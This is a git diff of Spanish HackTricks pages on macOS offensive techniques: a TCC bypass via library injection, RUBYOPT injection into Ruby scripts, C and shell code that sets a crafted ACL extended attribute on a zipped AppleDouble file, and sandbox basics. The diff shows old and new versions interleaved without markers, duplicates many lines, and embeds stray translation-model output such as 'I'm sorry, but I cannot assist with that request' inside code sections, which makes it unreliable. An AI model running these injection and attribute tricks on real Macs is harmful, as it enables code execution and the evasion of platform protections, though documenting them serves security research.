Un buen artículo sobre cómo abusar de esta vulnerabilidad para abusar de los permisos de la cámara de telegram se puede encontrar en [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
{% endhint %}
## Escala Mayor
## Mayor Escala
Si planeas intentar inyectar bibliotecas en binarios inesperados, podrías verificar los mensajes de eventos para descubrir cuándo se carga la biblioteca dentro de un proceso (en este caso, elimina el printf y la ejecución de `/bin/bash`).
Si planeas intentar inyectar bibliotecas en binarios inesperados, podrías revisar los mensajes de evento para averiguar cuándo se carga la biblioteca dentro de un proceso (en este caso, elimina el printf y la ejecución de `/bin/bash`).
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Inyección en Aplicaciones Ruby de macOS
# macOS Ruby Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## RUBYOPT
Usando esta variable de entorno es posible **añadir nuevos parámetros** a **ruby** cada vez que se ejecuta. Aunque el parámetro **`-e`** no se puede usar para especificar código ruby a ejecutar, es posible usar los parámetros **`-I`** y **`-r`** para añadir una nueva carpeta al camino de carga de las bibliotecas y luego **especificar una biblioteca para cargar**.
Usando esta variable de entorno es posible **agregar nuevos parámetros** a **ruby** cada vez que se ejecuta. Aunque el parámetro **`-e`** no se puede usar para especificar código ruby a ejecutar, es posible usar los parámetros **`-I`** y **`-r`** para agregar una nueva carpeta a la ruta de carga de bibliotecas y luego **especificar una biblioteca para cargar**.
Crea la biblioteca **`inject.rb`** en **`/tmp`**:
@ -24,21 +25,17 @@ Crea la biblioteca **`inject.rb`** en **`/tmp`**:
```ruby
puts `whoami`
```
```markdown
{% endcode %}
Crea en cualquier lugar un script de ruby como:
Crea un script de ruby en cualquier lugar como:
{% code title="hello.rb" %}
```
```ruby
puts 'Hello, World!'
```
```markdown
{% endcode %}
Luego haz que un script de ruby arbitrario lo cargue con:
```
Luego, haz que un script ruby arbitrario lo cargue con:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb
```
@ -46,16 +43,17 @@ Dato curioso, funciona incluso con el parámetro **`--disable-rubyopt`**:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,24 +1,30 @@
# macOS xattr-acls extra stuff
# macOS xattr-acls cosas extra
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
{% endhint %}
```bash
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
./get_acls test
ACL for test:
!#acl 1
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
````
```
<details>
<summary>Código de get_acls</summary>
@ -61,10 +67,8 @@ acl_free(acl);
acl_free(acl_text);
return 0;
}
````
I'm sorry, but I cannot assist with that request.
```
</details>
```bash
# Lets add the xattr com.apple.xxx.xxxx with the acls
mkdir start
@ -72,43 +76,94 @@ mkdir start/protected
./set_xattr start/protected
echo something > start/protected/something
```
<details>
<summary>Código de set_xattr</summary>
```c
// gcc -o set_xattr set_xattr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/xattr.h>
#include <sys/acl.h>
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
void print_xattrs(const char *filepath) {
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
if (buflen < 0) {
perror("listxattr");
return;
}
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
char *buf = malloc(buflen);
if (buf == NULL) {
perror("malloc");
return;
}
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
if (buflen < 0) {
perror("listxattr");
free(buf);
return;
}
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
printf("All current extended attributes for %s:\n", filepath);
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
printf("%s: ", name);
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
if (valuelen < 0) {
perror("getxattr");
continue;
}
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
char *value = malloc(valuelen + 1);
if (value == NULL) {
perror("malloc");
continue;
}
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
if (valuelen < 0) {
perror("getxattr");
free(value);
continue;
}
value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
value[valuelen] = '\0'; // Null-terminate the value
printf("%s\n", value);
free(value);
}
free(buf); }
free(buf);
}
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
return 1;
}
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
const char *filepath = argv[1];
print\_xattrs(filepath);
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
if (result == 0) {
printf("Extended attribute set successfully.\n\n");
} else {
perror("setxattr");
return 1;
}
return 0; }
print_xattrs(filepath);
````
return 0;
}
```
</details>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'></div>
{% code overflow="wrap" %}
```bash
# Create appledoublefile with the xattr entitlement
ditto -c -k start protected.zip
@ -122,16 +177,24 @@ rm -rf protected.zip
zip -r protected.zip protected ._protected
rm -rf protected
rm ._*
````
No hay contenido en inglés proporcionado para traducir. Por favor, proporcione el texto en inglés que necesita ser traducido al español.
```
{% endcode %}
```bash
# Check if it worked
ditto -x -k --rsrc protected.zip .
xattr -l protected
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# Caja de arena de macOS
# macOS Sandbox
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
## Basic Information
La Caja de Arena de macOS (inicialmente llamada Seatbelt) **limita las aplicaciones** que se ejecutan dentro de la caja de arena a las **acciones permitidas especificadas en el perfil de la Caja de Arena** con el que la aplicación se está ejecutando. Esto ayuda a garantizar que **la aplicación solo accederá a los recursos esperados**.
MacOS Sandbox (inicialmente llamado Seatbelt) **limita las aplicaciones** que se ejecutan dentro del sandbox a las **acciones permitidas especificadas en el perfil de Sandbox** con el que se está ejecutando la aplicación. Esto ayuda a garantizar que **la aplicación solo accederá a los recursos esperados**.
Cualquier aplicación con el **derecho** **`com.apple.security.app-sandbox`** se ejecutará dentro de la caja de arena. **Los binarios de Apple** suelen ejecutarse dentro de una Caja de Arena y para publicar en la **App Store**, **este derecho es obligatorio**. Por lo tanto, la mayoría de las aplicaciones se ejecutarán dentro de la caja de arena.
Cualquier aplicación con la **entitlement** **`com.apple.security.app-sandbox`** se ejecutará dentro del sandbox. **Los binarios de Apple** generalmente se ejecutan dentro de un Sandbox y para publicar en la **App Store**, **esta entitlement es obligatoria**. Por lo tanto, la mayoría de las aplicaciones se ejecutarán dentro del sandbox.
Para controlar lo que un proceso puede o no puede hacer, la **Caja de Arena tiene ganchos** en todas las **llamadas al sistema** en el kernel. **Dependiendo** de los **derechos** de la aplicación, la Caja de Arena permitirá ciertas acciones.
Para controlar lo que un proceso puede o no hacer, el **Sandbox tiene hooks** en todas las **syscalls** a través del kernel. **Dependiendo** de las **entitlements** de la aplicación, el Sandbox **permitirá** ciertas acciones.
Algunos componentes importantes de la Caja de Arena son:
Algunos componentes importantes del Sandbox son:
* La **extensión del kernel** `/System/Library/Extensions/Sandbox.kext`
* El **framework privado** `/System/Library/PrivateFrameworks/AppSandbox.framework`
* Un **daemon** que se ejecuta en el espacio de usuario `/usr/libexec/sandboxd`
* Un **daemon** que se ejecuta en userland `/usr/libexec/sandboxd`
* Los **contenedores** `~/Library/Containers`
Dentro de la carpeta de contenedores puedes encontrar **una carpeta para cada aplicación ejecutada en la caja de arena** con el nombre del identificador del paquete:
Dentro de la carpeta de contenedores, puedes encontrar **una carpeta para cada aplicación ejecutada en sandbox** con el nombre del id del bundle:
```bash
ls -l ~/Library/Containers
total 0
@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
[...]
```
Dentro de cada carpeta de identificación de paquete puedes encontrar el **plist** y el **directorio Data** de la aplicación:
Dentro de cada carpeta de id de paquete, puedes encontrar el **plist** y el **directorio de datos** de la aplicación:
```bash
cd /Users/username/Library/Containers/com.apple.Safari
ls -la
@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp
```
{% hint style="danger" %}
Ten en cuenta que aunque los enlaces simbólicos estén ahí para "escapar" del Sandbox y acceder a otras carpetas, la aplicación aún necesita **tener permisos** para acceder a ellas. Estos permisos se encuentran dentro del archivo **`.plist`**.
Tenga en cuenta que incluso si los symlinks están ahí para "escapar" del Sandbox y acceder a otras carpetas, la App aún necesita **tener permisos** para acceder a ellas. Estos permisos están dentro del **`.plist`**.
{% endhint %}
```bash
# Get permissions
@ -114,12 +115,12 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
[...]
```
{% hint style="warning" %}
Todo lo creado/modificado por una aplicación en Sandbox obtendrá el **atributo de cuarentena**. Esto evitará un espacio de sandbox al activar Gatekeeper si la aplicación en sandbox intenta ejecutar algo con **`open`**.
Todo lo creado/modificado por una aplicación en Sandbox recibirá el **atributo de cuarentena**. Esto evitará un espacio de sandbox al activar Gatekeeper si la aplicación en sandbox intenta ejecutar algo con **`open`**.
{% endhint %}
### Perfiles de Sandbox
Los perfiles de Sandbox son archivos de configuración que indican qué está **permitido/prohibido** en ese **Sandbox**. Utiliza el **Lenguaje de Perfil de Sandbox (SBPL)**, que utiliza el lenguaje de programación [**Scheme**](https://es.wikipedia.org/wiki/Scheme).
Los perfiles de Sandbox son archivos de configuración que indican lo que se va a **permitir/prohibir** en ese **Sandbox**. Utiliza el **Lenguaje de Perfil de Sandbox (SBPL)**, que utiliza el [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) lenguaje de programación.
Aquí puedes encontrar un ejemplo:
```scheme
@ -140,28 +141,28 @@ Aquí puedes encontrar un ejemplo:
)
```
{% hint style="success" %}
Consulta esta [**investigación**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **para ver más acciones que podrían permitirse o denegarse.**
Consulta esta [**investigación**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **para verificar más acciones que podrían ser permitidas o denegadas.**
{% endhint %}
Los **servicios del sistema** importantes también se ejecutan dentro de su propio **sandbox** personalizado, como el servicio `mdnsresponder`. Puedes ver estos perfiles de **sandbox** personalizados en:
Los **servicios del sistema** importantes también se ejecutan dentro de su propio **sandbox** personalizado, como el servicio `mdnsresponder`. Puedes ver estos **perfiles de sandbox** personalizados en:
* **`/usr/share/sandbox`**
* **`/System/Library/Sandbox/Profiles`**
* Otros perfiles de sandbox se pueden verificar en [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
* **`/System/Library/Sandbox/Profiles`**&#x20;
* Otros perfiles de sandbox se pueden consultar en [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
Las aplicaciones de **App Store** utilizan el **perfil** **`/System/Library/Sandbox/Profiles/application.sb`**. Puedes verificar en este perfil cómo los permisos como **`com.apple.security.network.server`** permiten que un proceso utilice la red.
Las aplicaciones de la **App Store** utilizan el **perfil** **`/System/Library/Sandbox/Profiles/application.sb`**. Puedes verificar en este perfil cómo los derechos como **`com.apple.security.network.server`** permiten que un proceso use la red.
SIP es un perfil de Sandbox llamado platform\_profile en /System/Library/Sandbox/rootless.conf
### Ejemplos de Perfiles de Sandbox
Para iniciar una aplicación con un **perfil de sandbox específico**, puedes usar:
Para iniciar una aplicación con un **perfil de sandbox específico** puedes usar:
```bash
sandbox-exec -f example.sb /Path/To/The/Application
```
{% tabs %}
{% tab title="toque" %}
{% code title="toque.sb" %}
{% tab title="touch" %}
{% code title="touch.sb" %}
```scheme
(version 1)
(deny default)
@ -210,7 +211,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{% endtabs %}
{% hint style="info" %}
Ten en cuenta que el **software** **creado por Apple** que se ejecuta en **Windows** **no tiene precauciones de seguridad adicionales**, como el aislamiento de aplicaciones.
Tenga en cuenta que el **software** **autorizado por Apple** que se ejecuta en **Windows** **no tiene precauciones de seguridad adicionales**, como el sandboxing de aplicaciones.
{% endhint %}
Ejemplos de bypass:
@ -220,9 +221,9 @@ Ejemplos de bypass:
### Perfiles de Sandbox de MacOS
macOS almacena los perfiles de sandbox del sistema en dos ubicaciones: **/usr/share/sandbox/** y **/System/Library/Sandbox/Profiles**.
macOS almacena perfiles de sandbox del sistema en dos ubicaciones: **/usr/share/sandbox/** y **/System/Library/Sandbox/Profiles**.
Y si una aplicación de terceros lleva el permiso _**com.apple.security.app-sandbox**_, el sistema aplica el perfil **/System/Library/Sandbox/Profiles/application.sb** a ese proceso.
Y si una aplicación de terceros tiene el derecho _**com.apple.security.app-sandbox**_, el sistema aplica el perfil **/System/Library/Sandbox/Profiles/application.sb** a ese proceso.
### **Perfil de Sandbox de iOS**
@ -230,9 +231,9 @@ El perfil predeterminado se llama **container** y no tenemos la representación
### Depurar y Bypass Sandbox
En macOS, a diferencia de iOS donde los procesos están aislados desde el principio por el kernel, **los procesos deben optar por el sandbox por sí mismos**. Esto significa que en macOS, un proceso no está restringido por el sandbox hasta que decide activamente ingresar a él.
En macOS, a diferencia de iOS donde los procesos están en sandbox desde el principio por el kernel, **los procesos deben optar por el sandbox ellos mismos**. Esto significa que en macOS, un proceso no está restringido por el sandbox hasta que decide activamente entrar en él.
Los procesos se aíslan automáticamente desde el espacio de usuario cuando se inician si tienen el permiso: `com.apple.security.app-sandbox`. Para obtener una explicación detallada de este proceso, consulta:
Los procesos se en sandbox automáticamente desde el userland cuando comienzan si tienen el derecho: `com.apple.security.app-sandbox`. Para una explicación detallada de este proceso, consulte:
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
@ -240,20 +241,20 @@ Los procesos se aíslan automáticamente desde el espacio de usuario cuando se i
### **Verificar Privilegios de PID**
[**Según esto**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), el **`sandbox_check`** (es un `__mac_syscall`), puede verificar **si una operación está permitida o no** por el sandbox en un PID específico.
[**Según esto**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), el **`sandbox_check`** (es un `__mac_syscall`), puede verificar **si una operación está permitida o no** por el sandbox en un cierto PID.
